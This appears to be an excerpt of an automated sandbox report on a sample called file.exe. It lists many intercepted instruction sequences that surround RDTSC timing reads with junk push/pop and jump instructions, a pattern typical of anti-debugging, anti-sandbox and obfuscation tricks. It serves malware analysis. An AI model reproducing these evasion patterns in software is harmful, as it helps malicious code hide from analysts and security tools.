Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D45B second address: 110D46A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D46A second address: 110D473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D473 second address: 110D488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b je 00007FD5B08151E6h 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D488 second address: 110D491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D5DD second address: 110D5E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D5E3 second address: 110D5F5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD5B0DE62E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FD5B0DE62ECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D5F5 second address: 110D5F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D5F9 second address: 110D614 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FD5B0DE62E6h 0x0000000a jmp 00007FD5B0DE62F1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114B29 second address: 1114B3D instructions: 0x00000000 rdtsc 0x00000002 je 00007FD5B08151E6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007FD5B08151E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114B3D second address: 1114B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112AF8 second address: 1112B02 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD5B08151E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112E13 second address: 1112E1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112E1F second address: 1112E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112E25 second address: 1112E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111307A second address: 11130BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007FD5B08151F3h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FD5B08151F6h 0x00000014 jg 00007FD5B08151E6h 0x0000001a pushad 0x0000001b popad 0x0000001c jns 00007FD5B08151E6h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11130BB second address: 11130C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007FD5B0DE62E6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113438 second address: 1113449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B08151EBh 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111399B second address: 111399F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111399F second address: 11139D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B08151F4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FD5B08151F2h 0x00000011 jmp 00007FD5B08151ECh 0x00000016 pop eax 0x00000017 push ebx 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114240 second address: 1114270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FD5B0DE62E6h 0x00000009 jmp 00007FD5B0DE62F5h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD5B0DE62EFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1119C24 second address: 1119C35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151EDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1119C35 second address: 1119C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1119C3B second address: 1119C4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1119C4F second address: 1119C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FD5B0DE62F9h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CB43 second address: 111CB47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CB47 second address: 111CB5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD5B0DE62EBh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D07D second address: 111D0B1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD5B08151E6h 0x00000008 jbe 00007FD5B08151E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FD5B08151E8h 0x00000019 pushad 0x0000001a popad 0x0000001b jnp 00007FD5B08151F9h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D1F5 second address: 111D213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D213 second address: 111D23A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c je 00007FD5B08151E6h 0x00000012 pop eax 0x00000013 jns 00007FD5B08151E8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D23A second address: 111D258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B0DE62F4h 0x00000009 jne 00007FD5B0DE62E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D3CE second address: 111D3E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B08151F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126673 second address: 1126686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B0DE62EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126686 second address: 1126690 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD5B08151ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112491A second address: 112494F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FD5B0DE62EEh 0x0000000a js 00007FD5B0DE62F0h 0x00000010 jnc 00007FD5B0DE62E8h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jnc 00007FD5B0DE62E6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124D03 second address: 1124D13 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jg 00007FD5B08151E6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11252AF second address: 11252CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B0DE62F9h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11252CD second address: 11252ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FD5B08151F4h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FD5B08151E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112556A second address: 1125584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD5B0DE62F5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125584 second address: 11255A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FD5B08151E6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007FD5B08151EDh 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 jc 00007FD5B08151E6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11255A9 second address: 11255B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124391 second address: 1124395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124395 second address: 11243D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B0DE62F1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jg 00007FD5B0DE62E6h 0x00000012 jmp 00007FD5B0DE62EDh 0x00000017 push eax 0x00000018 pop eax 0x00000019 jmp 00007FD5B0DE62EFh 0x0000001e popad 0x0000001f pushad 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112BFD2 second address: 112BFFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007FD5B08151F0h 0x00000010 jl 00007FD5B08151EEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112BFFB second address: 112C004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079E31 second address: 1079E3B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B9F1 second address: 112B9F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112BCAE second address: 112BCC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD5B08151E6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E26A second address: 112E274 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD5B0DE62E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11383B2 second address: 11383B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11383B6 second address: 11383BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BB9F second address: 113BBA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BBA5 second address: 113BBA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BBA9 second address: 113BBAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113B839 second address: 113B850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FD5B0DE62F1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113B850 second address: 113B86A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113B86A second address: 113B870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113D1AC second address: 113D1C9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD5B08151FFh 0x00000008 jmp 00007FD5B08151F3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114024A second address: 1140271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD5B0DE62E6h 0x0000000a popad 0x0000000b push ebx 0x0000000c jmp 00007FD5B0DE62F8h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140271 second address: 11402A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F2h 0x00000007 pushad 0x00000008 jmp 00007FD5B08151F1h 0x0000000d jnl 00007FD5B08151E6h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11402A5 second address: 11402AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11402AB second address: 11402AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11402AF second address: 11402B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F194 second address: 114F198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F198 second address: 114F1C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EBh 0x00000007 jmp 00007FD5B0DE62F9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F1C0 second address: 114F1C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F1C5 second address: 114F1D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FD5B0DE62E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F1D6 second address: 114F1DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154B01 second address: 1154B30 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD5B0DE62EAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FD5B0DE6306h 0x00000010 jmp 00007FD5B0DE62F6h 0x00000015 push ecx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154D77 second address: 1154D8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154D8E second address: 1154DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD5B0DE62F4h 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007FD5B0DE62F0h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154DBC second address: 1154DC8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115517F second address: 1155183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155183 second address: 11551AA instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD5B08151E6h 0x00000008 jmp 00007FD5B08151F9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155338 second address: 115533E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155D48 second address: 1155D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B08151F5h 0x00000009 jmp 00007FD5B08151F2h 0x0000000e popad 0x0000000f pop ebx 0x00000010 js 00007FD5B08151FDh 0x00000016 js 00007FD5B08151F7h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157756 second address: 115777D instructions: 0x00000000 rdtsc 0x00000002 je 00007FD5B0DE62E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD5B0DE62F9h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115777D second address: 1157789 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnc 00007FD5B08151E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158E8F second address: 1158E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158E95 second address: 1158EA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151EBh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158EA6 second address: 1158EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FD5B0DE62E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158EB0 second address: 1158ED4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FD5B08151ECh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007FD5B081520Bh 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158ED4 second address: 1158ED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11705D0 second address: 11705D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11705D6 second address: 11705DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11705DB second address: 11705E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnl 00007FD5B08151E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117DC80 second address: 117DC87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117DC87 second address: 117DCA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B08151F3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117DCA0 second address: 117DCA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117FD54 second address: 117FD58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11993FE second address: 1199420 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FD5B0DE62EEh 0x0000000f pushad 0x00000010 popad 0x00000011 jne 00007FD5B0DE62E6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119834D second address: 119835E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B08151EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119835E second address: 1198368 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD5B0DE62E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198770 second address: 1198781 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD5B08151ECh 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198D21 second address: 1198D25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198D25 second address: 1198D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B08151F8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FD5B08151F2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AB6D second address: 119AB71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AB71 second address: 119AB80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
